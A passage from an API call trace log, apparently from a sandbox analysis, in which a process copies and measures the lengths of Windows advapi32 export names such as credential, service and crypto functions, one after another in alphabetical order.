lpString2="CancelOverlappedAccess" | out: lpString1="CancelOverlappedAccess") returned="CancelOverlappedAccess" [0047.446] lstrlenA (lpString="CANCELOVERLAPPEDACCESS") returned 22 [0047.446] lstrcpyA (in: lpString1=0x21fe428, lpString2="ChangeServiceConfig2A" | out: lpString1="ChangeServiceConfig2A") returned="ChangeServiceConfig2A" [0047.446] lstrlenA (lpString="CHANGESERVICECONFIG2A") returned 21 [0047.446] lstrcpyA (in: lpString1=0x21fe428, lpString2="ChangeServiceConfig2W" | out: lpString1="ChangeServiceConfig2W") returned="ChangeServiceConfig2W" [0047.446] lstrlenA (lpString="CHANGESERVICECONFIG2W") returned 21 [0047.446] lstrcpyA (in: lpString1=0x21fe428, lpString2="ChangeServiceConfigA" | out: lpString1="ChangeServiceConfigA") returned="ChangeServiceConfigA" [0047.446] lstrlenA (lpString="CHANGESERVICECONFIGA") returned 20 [0047.446] lstrcpyA (in: lpString1=0x21fe428, lpString2="ChangeServiceConfigW" | out: lpString1="ChangeServiceConfigW") returned="ChangeServiceConfigW" [0047.446] lstrlenA (lpString="CHANGESERVICECONFIGW") returned 20 [0047.446] lstrcpyA (in: lpString1=0x21fe428, lpString2="CheckForHiberboot" | out: lpString1="CheckForHiberboot") returned="CheckForHiberboot" [0047.446] lstrlenA (lpString="CHECKFORHIBERBOOT") returned 17 [0047.446] lstrcpyA (in: lpString1=0x21fe428, lpString2="CheckTokenMembership" | out: lpString1="CheckTokenMembership") returned="CheckTokenMembership" [0047.446] lstrlenA (lpString="CHECKTOKENMEMBERSHIP") returned 20 [0047.446] lstrcpyA (in: lpString1=0x21fe428, lpString2="ClearEventLogA" | out: lpString1="ClearEventLogA") returned="ClearEventLogA" [0047.446] lstrlenA (lpString="CLEAREVENTLOGA") returned 14 [0047.446] lstrcpyA (in: lpString1=0x21fe428, lpString2="ClearEventLogW" | out: lpString1="ClearEventLogW") returned="ClearEventLogW" [0047.446] lstrlenA (lpString="CLEAREVENTLOGW") returned 14 [0047.446] lstrcpyA (in: lpString1=0x21fe428, lpString2="CloseCodeAuthzLevel" | out: lpString1="CloseCodeAuthzLevel") returned="CloseCodeAuthzLevel" [0047.446] lstrlenA (lpString="CLOSECODEAUTHZLEVEL") returned 19 [0047.446] lstrcpyA (in: lpString1=0x21fe428, lpString2="CloseEncryptedFileRaw" | out: lpString1="CloseEncryptedFileRaw") returned="CloseEncryptedFileRaw" [0047.447] lstrlenA (lpString="CLOSEENCRYPTEDFILERAW") returned 21 [0047.447] lstrcpyA (in: lpString1=0x21fe428, lpString2="CloseEventLog" | out: lpString1="CloseEventLog") returned="CloseEventLog" [0047.447] lstrlenA (lpString="CLOSEEVENTLOG") returned 13 [0047.447] lstrcpyA (in: lpString1=0x21fe428, lpString2="CloseServiceHandle" | out: lpString1="CloseServiceHandle") returned="CloseServiceHandle" [0047.447] lstrlenA (lpString="CLOSESERVICEHANDLE") returned 18 [0047.447] lstrcpyA (in: lpString1=0x21fe428, lpString2="CloseThreadWaitChainSession" | out: lpString1="CloseThreadWaitChainSession") returned="CloseThreadWaitChainSession" [0047.447] lstrlenA (lpString="CLOSETHREADWAITCHAINSESSION") returned 27 [0047.447] lstrcpyA (in: lpString1=0x21fe428, lpString2="CloseTrace" | out: lpString1="CloseTrace") returned="CloseTrace" [0047.447] lstrlenA (lpString="CLOSETRACE") returned 10 [0047.447] lstrcpyA (in: lpString1=0x21fe428, lpString2="CommandLineFromMsiDescriptor" | out: lpString1="CommandLineFromMsiDescriptor") returned="CommandLineFromMsiDescriptor" [0047.447] lstrlenA (lpString="COMMANDLINEFROMMSIDESCRIPTOR") returned 28 [0047.447] lstrcpyA (in: lpString1=0x21fe428, lpString2="ComputeAccessTokenFromCodeAuthzLevel" | out: lpString1="ComputeAccessTokenFromCodeAuthzLevel") returned="ComputeAccessTokenFromCodeAuthzLevel" [0047.447] lstrlenA (lpString="COMPUTEACCESSTOKENFROMCODEAUTHZLEVEL") returned 36 [0047.447] lstrcpyA (in: lpString1=0x21fe428, lpString2="ControlService" | out: lpString1="ControlService") returned="ControlService" [0047.447] lstrlenA (lpString="CONTROLSERVICE") returned 14 [0047.447] lstrcpyA (in: lpString1=0x21fe428, lpString2="ControlServiceExA" | out: lpString1="ControlServiceExA") returned="ControlServiceExA" [0047.447] lstrlenA (lpString="CONTROLSERVICEEXA") returned 17 [0047.447] lstrcpyA (in: lpString1=0x21fe428, lpString2="ControlServiceExW" | out: lpString1="ControlServiceExW") returned="ControlServiceExW" [0047.447] lstrlenA (lpString="CONTROLSERVICEEXW") returned 17 [0047.447] lstrcpyA (in: lpString1=0x21fe428, lpString2="ControlTraceA" | out: lpString1="ControlTraceA") returned="ControlTraceA" [0047.447] lstrlenA (lpString="CONTROLTRACEA") returned 13 [0047.447] lstrcpyA (in: lpString1=0x21fe428, lpString2="ControlTraceW" | out: lpString1="ControlTraceW") returned="ControlTraceW" [0047.447] lstrlenA (lpString="CONTROLTRACEW") returned 13 [0047.447] lstrcpyA (in: lpString1=0x21fe428, lpString2="ConvertAccessToSecurityDescriptorA" | out: lpString1="ConvertAccessToSecurityDescriptorA") returned="ConvertAccessToSecurityDescriptorA" [0047.447] lstrlenA (lpString="CONVERTACCESSTOSECURITYDESCRIPTORA") returned 34 [0047.447] lstrcpyA (in: lpString1=0x21fe428, lpString2="ConvertAccessToSecurityDescriptorW" | out: lpString1="ConvertAccessToSecurityDescriptorW") returned="ConvertAccessToSecurityDescriptorW" [0047.447] lstrlenA (lpString="CONVERTACCESSTOSECURITYDESCRIPTORW") returned 34 [0047.447] lstrcpyA (in: lpString1=0x21fe428, lpString2="ConvertSDToStringSDDomainW" | out: lpString1="ConvertSDToStringSDDomainW") returned="ConvertSDToStringSDDomainW" [0047.447] lstrlenA (lpString="CONVERTSDTOSTRINGSDDOMAINW") returned 26 [0047.447] lstrcpyA (in: lpString1=0x21fe428, lpString2="ConvertSDToStringSDRootDomainA" | out: lpString1="ConvertSDToStringSDRootDomainA") returned="ConvertSDToStringSDRootDomainA" [0047.447] lstrlenA (lpString="CONVERTSDTOSTRINGSDROOTDOMAINA") returned 30 [0047.447] lstrcpyA (in: lpString1=0x21fe428, lpString2="ConvertSDToStringSDRootDomainW" | out: lpString1="ConvertSDToStringSDRootDomainW") returned="ConvertSDToStringSDRootDomainW" [0047.448] lstrlenA (lpString="CONVERTSDTOSTRINGSDROOTDOMAINW") returned 30 [0047.448] lstrcpyA (in: lpString1=0x21fe428, lpString2="ConvertSecurityDescriptorToAccessA" | out: lpString1="ConvertSecurityDescriptorToAccessA") returned="ConvertSecurityDescriptorToAccessA" [0047.448] lstrlenA (lpString="CONVERTSECURITYDESCRIPTORTOACCESSA") returned 34 [0047.448] lstrcpyA (in: lpString1=0x21fe428, lpString2="ConvertSecurityDescriptorToAccessNamedA" | out: lpString1="ConvertSecurityDescriptorToAccessNamedA") returned="ConvertSecurityDescriptorToAccessNamedA" [0047.448] lstrlenA (lpString="CONVERTSECURITYDESCRIPTORTOACCESSNAMEDA") returned 39 [0047.448] lstrcpyA (in: lpString1=0x21fe428, lpString2="ConvertSecurityDescriptorToAccessNamedW" | out: lpString1="ConvertSecurityDescriptorToAccessNamedW") returned="ConvertSecurityDescriptorToAccessNamedW" [0047.448] lstrlenA (lpString="CONVERTSECURITYDESCRIPTORTOACCESSNAMEDW") returned 39 [0047.448] lstrcpyA (in: lpString1=0x21fe428, lpString2="ConvertSecurityDescriptorToAccessW" | out: lpString1="ConvertSecurityDescriptorToAccessW") returned="ConvertSecurityDescriptorToAccessW" [0047.448] lstrlenA (lpString="CONVERTSECURITYDESCRIPTORTOACCESSW") returned 34 [0047.448] lstrcpyA (in: lpString1=0x21fe428, lpString2="ConvertSecurityDescriptorToStringSecurityDescriptorA" | out: lpString1="ConvertSecurityDescriptorToStringSecurityDescriptorA") returned="ConvertSecurityDescriptorToStringSecurityDescriptorA" [0047.448] lstrlenA (lpString="CONVERTSECURITYDESCRIPTORTOSTRINGSECURITYDESCRIPTORA") returned 52 [0047.448] lstrcpyA (in: lpString1=0x21fe428, lpString2="ConvertSecurityDescriptorToStringSecurityDescriptorW" | out: lpString1="ConvertSecurityDescriptorToStringSecurityDescriptorW") returned="ConvertSecurityDescriptorToStringSecurityDescriptorW" [0047.448] lstrlenA (lpString="CONVERTSECURITYDESCRIPTORTOSTRINGSECURITYDESCRIPTORW") returned 52 [0047.448] lstrcpyA (in: lpString1=0x21fe428, lpString2="ConvertSidToStringSidA" | out: lpString1="ConvertSidToStringSidA") returned="ConvertSidToStringSidA" [0047.448] lstrlenA (lpString="CONVERTSIDTOSTRINGSIDA") returned 22 [0047.448] lstrcpyA (in: lpString1=0x21fe428, lpString2="ConvertSidToStringSidW" | out: lpString1="ConvertSidToStringSidW") returned="ConvertSidToStringSidW" [0047.448] lstrlenA (lpString="CONVERTSIDTOSTRINGSIDW") returned 22 [0047.448] lstrcpyA (in: lpString1=0x21fe428, lpString2="ConvertStringSDToSDDomainA" | out: lpString1="ConvertStringSDToSDDomainA") returned="ConvertStringSDToSDDomainA" [0047.448] lstrlenA (lpString="CONVERTSTRINGSDTOSDDOMAINA") returned 26 [0047.449] lstrcpyA (in: lpString1=0x21fe428, lpString2="ConvertStringSDToSDDomainW" | out: lpString1="ConvertStringSDToSDDomainW") returned="ConvertStringSDToSDDomainW" [0047.449] lstrlenA (lpString="CONVERTSTRINGSDTOSDDOMAINW") returned 26 [0047.449] lstrcpyA (in: lpString1=0x21fe428, lpString2="ConvertStringSDToSDRootDomainA" | out: lpString1="ConvertStringSDToSDRootDomainA") returned="ConvertStringSDToSDRootDomainA" [0047.449] lstrlenA (lpString="CONVERTSTRINGSDTOSDROOTDOMAINA") returned 30 [0047.449] lstrcpyA (in: lpString1=0x21fe428, lpString2="ConvertStringSDToSDRootDomainW" | out: lpString1="ConvertStringSDToSDRootDomainW") returned="ConvertStringSDToSDRootDomainW" [0047.449] lstrlenA (lpString="CONVERTSTRINGSDTOSDROOTDOMAINW") returned 30 [0047.449] lstrcpyA (in: lpString1=0x21fe428, lpString2="ConvertStringSecurityDescriptorToSecurityDescriptorA" | out: lpString1="ConvertStringSecurityDescriptorToSecurityDescriptorA") returned="ConvertStringSecurityDescriptorToSecurityDescriptorA" [0047.449] lstrlenA (lpString="CONVERTSTRINGSECURITYDESCRIPTORTOSECURITYDESCRIPTORA") returned 52 [0047.449] lstrcpyA (in: lpString1=0x21fe428, lpString2="ConvertStringSecurityDescriptorToSecurityDescriptorW" | out: lpString1="ConvertStringSecurityDescriptorToSecurityDescriptorW") returned="ConvertStringSecurityDescriptorToSecurityDescriptorW" [0047.449] lstrlenA (lpString="CONVERTSTRINGSECURITYDESCRIPTORTOSECURITYDESCRIPTORW") returned 52 [0047.449] lstrcpyA (in: lpString1=0x21fe428, lpString2="ConvertStringSidToSidA" | out: lpString1="ConvertStringSidToSidA") returned="ConvertStringSidToSidA" [0047.449] lstrlenA (lpString="CONVERTSTRINGSIDTOSIDA") returned 22 [0047.449] lstrcpyA (in: lpString1=0x21fe428, lpString2="ConvertStringSidToSidW" | out: lpString1="ConvertStringSidToSidW") returned="ConvertStringSidToSidW" [0047.449] lstrlenA (lpString="CONVERTSTRINGSIDTOSIDW") returned 22 [0047.449] lstrcpyA (in: lpString1=0x21fe428, lpString2="ConvertToAutoInheritPrivateObjectSecurity" | out: lpString1="ConvertToAutoInheritPrivateObjectSecurity") returned="ConvertToAutoInheritPrivateObjectSecurity" [0047.449] lstrlenA (lpString="CONVERTTOAUTOINHERITPRIVATEOBJECTSECURITY") returned 41 [0047.450] lstrcpyA (in: lpString1=0x21fe428, lpString2="CopySid" | out: lpString1="CopySid") returned="CopySid" [0047.450] lstrlenA (lpString="COPYSID") returned 7 [0047.450] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateCodeAuthzLevel" | out: lpString1="CreateCodeAuthzLevel") returned="CreateCodeAuthzLevel" [0047.450] lstrlenA (lpString="CREATECODEAUTHZLEVEL") returned 20 [0047.450] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreatePrivateObjectSecurity" | out: lpString1="CreatePrivateObjectSecurity") returned="CreatePrivateObjectSecurity" [0047.450] lstrlenA (lpString="CREATEPRIVATEOBJECTSECURITY") returned 27 [0047.450] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreatePrivateObjectSecurityEx" | out: lpString1="CreatePrivateObjectSecurityEx") returned="CreatePrivateObjectSecurityEx" [0047.450] lstrlenA (lpString="CREATEPRIVATEOBJECTSECURITYEX") returned 29 [0047.450] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreatePrivateObjectSecurityWithMultipleInheritance" | out: lpString1="CreatePrivateObjectSecurityWithMultipleInheritance") returned="CreatePrivateObjectSecurityWithMultipleInheritance" [0047.450] lstrlenA (lpString="CREATEPRIVATEOBJECTSECURITYWITHMULTIPLEINHERITANCE") returned 50 [0047.450] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0047.450] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0047.450] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0047.450] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0047.450] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateProcessWithLogonW" | out: lpString1="CreateProcessWithLogonW") returned="CreateProcessWithLogonW" [0047.450] lstrlenA (lpString="CREATEPROCESSWITHLOGONW") returned 23 [0047.450] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateProcessWithTokenW" | out: lpString1="CreateProcessWithTokenW") returned="CreateProcessWithTokenW" [0047.450] lstrlenA (lpString="CREATEPROCESSWITHTOKENW") returned 23 [0047.450] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateRestrictedToken" | out: lpString1="CreateRestrictedToken") returned="CreateRestrictedToken" [0047.450] lstrlenA (lpString="CREATERESTRICTEDTOKEN") returned 21 [0047.451] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateServiceA" | out: lpString1="CreateServiceA") returned="CreateServiceA" [0047.451] lstrlenA (lpString="CREATESERVICEA") returned 14 [0047.451] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateServiceW" | out: lpString1="CreateServiceW") returned="CreateServiceW" [0047.451] lstrlenA (lpString="CREATESERVICEW") returned 14 [0047.451] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateTraceInstanceId" | out: lpString1="CreateTraceInstanceId") returned="CreateTraceInstanceId" [0047.451] lstrlenA (lpString="CREATETRACEINSTANCEID") returned 21 [0047.451] lstrcpyA (in: lpString1=0x21fe428, lpString2="CreateWellKnownSid" | out: lpString1="CreateWellKnownSid") returned="CreateWellKnownSid" [0047.451] lstrlenA (lpString="CREATEWELLKNOWNSID") returned 18 [0047.451] lstrcpyA (in: lpString1=0x21fe428, lpString2="CredBackupCredentials" | out: lpString1="CredBackupCredentials") returned="CredBackupCredentials" [0047.451] lstrlenA (lpString="CREDBACKUPCREDENTIALS") returned 21 [0047.451] lstrcpyA (in: lpString1=0x21fe428, lpString2="CredDeleteA" | out: lpString1="CredDeleteA") returned="CredDeleteA" [0047.451] lstrlenA (lpString="CREDDELETEA") returned 11 [0047.451] lstrcpyA (in: lpString1=0x21fe428, lpString2="CredDeleteW" | out: lpString1="CredDeleteW") returned="CredDeleteW" [0047.451] lstrlenA (lpString="CREDDELETEW") returned 11 [0047.451] lstrcpyA (in: lpString1=0x21fe428, lpString2="CredEncryptAndMarshalBinaryBlob" | out: lpString1="CredEncryptAndMarshalBinaryBlob") returned="CredEncryptAndMarshalBinaryBlob" [0047.451] lstrlenA (lpString="CREDENCRYPTANDMARSHALBINARYBLOB") returned 31 [0047.451] lstrcpyA (in: lpString1=0x21fe428, lpString2="CredEnumerateA" | out: lpString1="CredEnumerateA") returned="CredEnumerateA" [0047.451] lstrlenA (lpString="CREDENUMERATEA") returned 14 [0047.451] lstrcpyA (in: lpString1=0x21fe428, lpString2="CredEnumerateW" | out: lpString1="CredEnumerateW") returned="CredEnumerateW" [0047.451] lstrlenA (lpString="CREDENUMERATEW") returned 14 [0047.451] lstrcpyA (in: lpString1=0x21fe428, lpString2="CredFindBestCredentialA" | out: lpString1="CredFindBestCredentialA") returned="CredFindBestCredentialA" [0047.451] lstrlenA (lpString="CREDFINDBESTCREDENTIALA") returned 23 [0047.451] lstrcpyA (in: lpString1=0x21fe428, lpString2="CredFindBestCredentialW" | out: lpString1="CredFindBestCredentialW") returned="CredFindBestCredentialW" [0047.451] lstrlenA (lpString="CREDFINDBESTCREDENTIALW") returned 23 [0047.451] lstrcpyA (in: lpString1=0x21fe428, lpString2="CredFree" | out: lpString1="CredFree") returned="CredFree" [0047.451] lstrlenA (lpString="CREDFREE") returned 8 [0047.452] lstrcpyA (in: lpString1=0x21fe428, lpString2="CredGetSessionTypes" | out: lpString1="CredGetSessionTypes") returned="CredGetSessionTypes" [0047.452] lstrlenA (lpString="CREDGETSESSIONTYPES") returned 19 [0047.452] lstrcpyA (in: lpString1=0x21fe428, lpString2="CredGetTargetInfoA" | out: lpString1="CredGetTargetInfoA") returned="CredGetTargetInfoA" [0047.452] lstrlenA (lpString="CREDGETTARGETINFOA") returned 18 [0047.452] lstrcpyA (in: lpString1=0x21fe428, lpString2="CredGetTargetInfoW" | out: lpString1="CredGetTargetInfoW") returned="CredGetTargetInfoW" [0047.452] lstrlenA (lpString="CREDGETTARGETINFOW") returned 18 [0047.452] lstrcpyA (in: lpString1=0x21fe428, lpString2="CredIsMarshaledCredentialA" | out: lpString1="CredIsMarshaledCredentialA") returned="CredIsMarshaledCredentialA" [0047.452] lstrlenA (lpString="CREDISMARSHALEDCREDENTIALA") returned 26 [0047.452] lstrcpyA (in: lpString1=0x21fe428, lpString2="CredIsMarshaledCredentialW" | out: lpString1="CredIsMarshaledCredentialW") returned="CredIsMarshaledCredentialW" [0047.452] lstrlenA (lpString="CREDISMARSHALEDCREDENTIALW") returned 26 [0047.452] lstrcpyA (in: lpString1=0x21fe428, lpString2="CredIsProtectedA" | out: lpString1="CredIsProtectedA") returned="CredIsProtectedA" [0047.452] lstrlenA (lpString="CREDISPROTECTEDA") returned 16 [0047.452] lstrcpyA (in: lpString1=0x21fe428, lpString2="CredIsProtectedW" | out: lpString1="CredIsProtectedW") returned="CredIsProtectedW" [0047.452] lstrlenA (lpString="CREDISPROTECTEDW") returned 16 [0047.452] lstrcpyA (in: lpString1=0x21fe428, lpString2="CredMarshalCredentialA" | out: lpString1="CredMarshalCredentialA") returned="CredMarshalCredentialA" [0047.452] lstrlenA (lpString="CREDMARSHALCREDENTIALA") returned 22 [0047.452] lstrcpyA (in: lpString1=0x21fe428, lpString2="CredMarshalCredentialW" | out: lpString1="CredMarshalCredentialW") returned="CredMarshalCredentialW" [0047.452] lstrlenA (lpString="CREDMARSHALCREDENTIALW") returned 22 [0047.452] lstrcpyA (in: lpString1=0x21fe428, lpString2="CredProfileLoaded" | out: lpString1="CredProfileLoaded") returned="CredProfileLoaded" [0047.452] lstrlenA (lpString="CREDPROFILELOADED") returned 17 [0047.452] lstrcpyA (in: lpString1=0x21fe428, lpString2="CredProfileLoadedEx" | out: lpString1="CredProfileLoadedEx") returned="CredProfileLoadedEx" [0047.452] lstrlenA (lpString="CREDPROFILELOADEDEX") returned 19 [0047.452] lstrcpyA (in: lpString1=0x21fe428, lpString2="CredProfileUnloaded" | out: lpString1="CredProfileUnloaded") returned="CredProfileUnloaded" [0047.452] lstrlenA (lpString="CREDPROFILEUNLOADED") returned 19 [0047.452] lstrcpyA (in: lpString1=0x21fe428, lpString2="CredProtectA" | out: lpString1="CredProtectA") returned="CredProtectA" [0047.452] lstrlenA (lpString="CREDPROTECTA") returned 12 [0047.452] lstrcpyA (in: lpString1=0x21fe428, lpString2="CredProtectW" | out: lpString1="CredProtectW") returned="CredProtectW" [0047.452] lstrlenA (lpString="CREDPROTECTW") returned 12 [0047.452] lstrcpyA (in: lpString1=0x21fe428, lpString2="CredReadA" | out: lpString1="CredReadA") returned="CredReadA" [0047.452] lstrlenA (lpString="CREDREADA") returned 9 [0047.453] lstrcpyA (in: lpString1=0x21fe428, lpString2="CredReadByTokenHandle" | out: lpString1="CredReadByTokenHandle") returned="CredReadByTokenHandle" [0047.453] lstrlenA (lpString="CREDREADBYTOKENHANDLE") returned 21 [0047.453] lstrcpyA (in: lpString1=0x21fe428, lpString2="CredReadDomainCredentialsA" | out: lpString1="CredReadDomainCredentialsA") returned="CredReadDomainCredentialsA" [0047.453] lstrlenA (lpString="CREDREADDOMAINCREDENTIALSA") returned 26 [0047.453] lstrcpyA (in: lpString1=0x21fe428, lpString2="CredReadDomainCredentialsW" | out: lpString1="CredReadDomainCredentialsW") returned="CredReadDomainCredentialsW" [0047.453] lstrlenA (lpString="CREDREADDOMAINCREDENTIALSW") returned 26 [0047.453] lstrcpyA (in: lpString1=0x21fe428, lpString2="CredReadW" | out: lpString1="CredReadW") returned="CredReadW" [0047.453] lstrlenA (lpString="CREDREADW") returned 9 [0047.453] lstrcpyA (in: lpString1=0x21fe428, lpString2="CredRenameA" | out: lpString1="CredRenameA") returned="CredRenameA" [0047.453] lstrlenA (lpString="CREDRENAMEA") returned 11 [0047.453] lstrcpyA (in: lpString1=0x21fe428, lpString2="CredRenameW" | out: lpString1="CredRenameW") returned="CredRenameW" [0047.453] lstrlenA (lpString="CREDRENAMEW") returned 11 [0047.453] lstrcpyA (in: lpString1=0x21fe428, lpString2="CredRestoreCredentials" | out: lpString1="CredRestoreCredentials") returned="CredRestoreCredentials" [0047.453] lstrlenA (lpString="CREDRESTORECREDENTIALS") returned 22 [0047.453] lstrcpyA (in: lpString1=0x21fe428, lpString2="CredUnmarshalCredentialA" | out: lpString1="CredUnmarshalCredentialA") returned="CredUnmarshalCredentialA" [0047.453] lstrlenA (lpString="CREDUNMARSHALCREDENTIALA") returned 24 [0047.453] lstrcpyA (in: lpString1=0x21fe428, lpString2="CredUnmarshalCredentialW" | out: lpString1="CredUnmarshalCredentialW") returned="CredUnmarshalCredentialW" [0047.453] lstrlenA (lpString="CREDUNMARSHALCREDENTIALW") returned 24 [0047.453] lstrcpyA (in: lpString1=0x21fe428, lpString2="CredUnprotectA" | out: lpString1="CredUnprotectA") returned="CredUnprotectA" [0047.453] lstrlenA (lpString="CREDUNPROTECTA") returned 14 [0047.453] lstrcpyA (in: lpString1=0x21fe428, lpString2="CredUnprotectW" | out: lpString1="CredUnprotectW") returned="CredUnprotectW" [0047.453] lstrlenA (lpString="CREDUNPROTECTW") returned 14 [0047.453] lstrcpyA (in: lpString1=0x21fe428, lpString2="CredWriteA" | out: lpString1="CredWriteA") returned="CredWriteA" [0047.453] lstrlenA (lpString="CREDWRITEA") returned 10 [0047.453] lstrcpyA (in: lpString1=0x21fe428, lpString2="CredWriteDomainCredentialsA" | out: lpString1="CredWriteDomainCredentialsA") returned="CredWriteDomainCredentialsA" [0047.453] lstrlenA (lpString="CREDWRITEDOMAINCREDENTIALSA") returned 27 [0047.453] lstrcpyA (in: lpString1=0x21fe428, lpString2="CredWriteDomainCredentialsW" | out: lpString1="CredWriteDomainCredentialsW") returned="CredWriteDomainCredentialsW" [0047.453] lstrlenA (lpString="CREDWRITEDOMAINCREDENTIALSW") returned 27 [0047.453] lstrcpyA (in: lpString1=0x21fe428, lpString2="CredWriteW" | out: lpString1="CredWriteW") returned="CredWriteW" [0047.453] lstrlenA (lpString="CREDWRITEW") returned 10 [0047.453] lstrcpyA (in: lpString1=0x21fe428, lpString2="CredpConvertCredential" | out: lpString1="CredpConvertCredential") returned="CredpConvertCredential" [0047.454] lstrlenA (lpString="CREDPCONVERTCREDENTIAL") returned 22 [0047.454] lstrcpyA (in: lpString1=0x21fe428, lpString2="CredpConvertOneCredentialSize" | out: lpString1="CredpConvertOneCredentialSize") returned="CredpConvertOneCredentialSize" [0047.454] lstrlenA (lpString="CREDPCONVERTONECREDENTIALSIZE") returned 29 [0047.454] lstrcpyA (in: lpString1=0x21fe428, lpString2="CredpConvertTargetInfo" | out: lpString1="CredpConvertTargetInfo") returned="CredpConvertTargetInfo" [0047.454] lstrlenA (lpString="CREDPCONVERTTARGETINFO") returned 22 [0047.454] lstrcpyA (in: lpString1=0x21fe428, lpString2="CredpDecodeCredential" | out: lpString1="CredpDecodeCredential") returned="CredpDecodeCredential" [0047.454] lstrlenA (lpString="CREDPDECODECREDENTIAL") returned 21 [0047.454] lstrcpyA (in: lpString1=0x21fe428, lpString2="CredpEncodeCredential" | out: lpString1="CredpEncodeCredential") returned="CredpEncodeCredential" [0047.454] lstrlenA (lpString="CREDPENCODECREDENTIAL") returned 21 [0047.454] lstrcpyA (in: lpString1=0x21fe428, lpString2="CredpEncodeSecret" | out: lpString1="CredpEncodeSecret") returned="CredpEncodeSecret" [0047.454] lstrlenA (lpString="CREDPENCODESECRET") returned 17 [0047.454] lstrcpyA (in: lpString1=0x21fe428, lpString2="CryptAcquireContextA" | out: lpString1="CryptAcquireContextA") returned="CryptAcquireContextA" [0047.454] lstrlenA (lpString="CRYPTACQUIRECONTEXTA") returned 20 [0047.454] lstrcpyA (in: lpString1=0x21fe428, lpString2="CryptAcquireContextW" | out: lpString1="CryptAcquireContextW") returned="CryptAcquireContextW" [0047.454] lstrlenA (lpString="CRYPTACQUIRECONTEXTW") returned 20 [0047.454] lstrcpyA (in: lpString1=0x21fe428, lpString2="CryptContextAddRef" | out: lpString1="CryptContextAddRef") returned="CryptContextAddRef" [0047.454] lstrlenA (lpString="CRYPTCONTEXTADDREF") returned 18 [0047.454] lstrcpyA (in: lpString1=0x21fe428, lpString2="CryptCreateHash" | out: lpString1="CryptCreateHash") returned="CryptCreateHash" [0047.454] lstrlenA (lpString="CRYPTCREATEHASH") returned 15 [0047.454] lstrcpyA (in: lpString1=0x21fe428, lpString2="CryptDecrypt" | out: lpString1="CryptDecrypt") returned="CryptDecrypt" [0047.454] lstrlenA (lpString="CRYPTDECRYPT") returned 12 [0047.454] lstrcpyA (in: lpString1=0x21fe428, lpString2="CryptDeriveKey" | out: lpString1="CryptDeriveKey") returned="CryptDeriveKey" [0047.454] lstrlenA (lpString="CRYPTDERIVEKEY") returned 14 [0047.454] lstrcpyA (in: lpString1=0x21fe428, lpString2="CryptDestroyHash" | out: lpString1="CryptDestroyHash") returned="CryptDestroyHash" [0047.454] lstrlenA (lpString="CRYPTDESTROYHASH") returned 16 [0047.454] lstrcpyA (in: lpString1=0x21fe428, lpString2="CryptDestroyKey" | out: lpString1="CryptDestroyKey") returned="CryptDestroyKey" [0047.454] lstrlenA (lpString="CRYPTDESTROYKEY") returned 15 [0047.454] lstrcpyA (in: lpString1=0x21fe428, lpString2="CryptDuplicateHash" | out: lpString1="CryptDuplicateHash") returned="CryptDuplicateHash" [0047.454] lstrlenA (lpString="CRYPTDUPLICATEHASH") returned 18 [0047.455] lstrcpyA (in: lpString1=0x21fe428, lpString2="CryptDuplicateKey" | out: lpString1="CryptDuplicateKey") returned="CryptDuplicateKey" [0047.455] lstrlenA (lpString="CRYPTDUPLICATEKEY") returned 17 [0047.455] lstrcpyA (in: lpString1=0x21fe428, lpString2="CryptEncrypt" | out: lpString1="CryptEncrypt") returned="CryptEncrypt" [0047.455] lstrlenA (lpString="CRYPTENCRYPT") returned 12 [0047.455] lstrcpyA (in: lpString1=0x21fe428, lpString2="CryptEnumProviderTypesA" | out: lpString1="CryptEnumProviderTypesA") returned="CryptEnumProviderTypesA" [0047.455] lstrlenA (lpString="CRYPTENUMPROVIDERTYPESA") returned 23 [0047.455] lstrcpyA (in: lpString1=0x21fe428, lpString2="CryptEnumProviderTypesW" | out: lpString1="CryptEnumProviderTypesW") returned="CryptEnumProviderTypesW" [0047.455] lstrlenA (lpString="CRYPTENUMPROVIDERTYPESW") returned 23 [0047.455] lstrcpyA (in: lpString1=0x21fe428, lpString2="CryptEnumProvidersA" | out: lpString1="CryptEnumProvidersA") returned="CryptEnumProvidersA" [0047.455] lstrlenA (lpString="CRYPTENUMPROVIDERSA") returned 19 [0047.455] lstrcpyA (in: lpString1=0x21fe428, lpString2="CryptEnumProvidersW" | out: lpString1="CryptEnumProvidersW") returned="CryptEnumProvidersW" [0047.455] lstrlenA (lpString="CRYPTENUMPROVIDERSW") returned 19 [0047.455] lstrcpyA (in: lpString1=0x21fe428, lpString2="CryptExportKey" | out: lpString1="CryptExportKey") returned="CryptExportKey" [0047.455] lstrlenA (lpString="CRYPTEXPORTKEY") returned 14 [0047.455] lstrcpyA (in: lpString1=0x21fe428, lpString2="CryptGenKey" | out: lpString1="CryptGenKey") returned="CryptGenKey" [0047.455] lstrlenA (lpString="CRYPTGENKEY") returned 11 [0047.455] lstrcpyA (in: lpString1=0x21fe428, lpString2="CryptGenRandom" | out: lpString1="CryptGenRandom") returned="CryptGenRandom" [0047.455] lstrlenA (lpString="CRYPTGENRANDOM") returned 14 [0047.455] lstrcpyA (in: lpString1=0x21fe428, lpString2="CryptGetDefaultProviderA" | out: lpString1="CryptGetDefaultProviderA") returned="CryptGetDefaultProviderA" [0047.456] lstrlenA (lpString="CRYPTGETDEFAULTPROVIDERA") returned 24 [0047.456] lstrcpyA (in: lpString1=0x21fe428, lpString2="CryptGetDefaultProviderW" | out: lpString1="CryptGetDefaultProviderW") returned="CryptGetDefaultProviderW" [0047.456] lstrlenA (lpString="CRYPTGETDEFAULTPROVIDERW") returned 24 [0047.456] lstrcpyA (in: lpString1=0x21fe428, lpString2="CryptGetHashParam" | out: lpString1="CryptGetHashParam") returned="CryptGetHashParam" [0047.456] lstrlenA 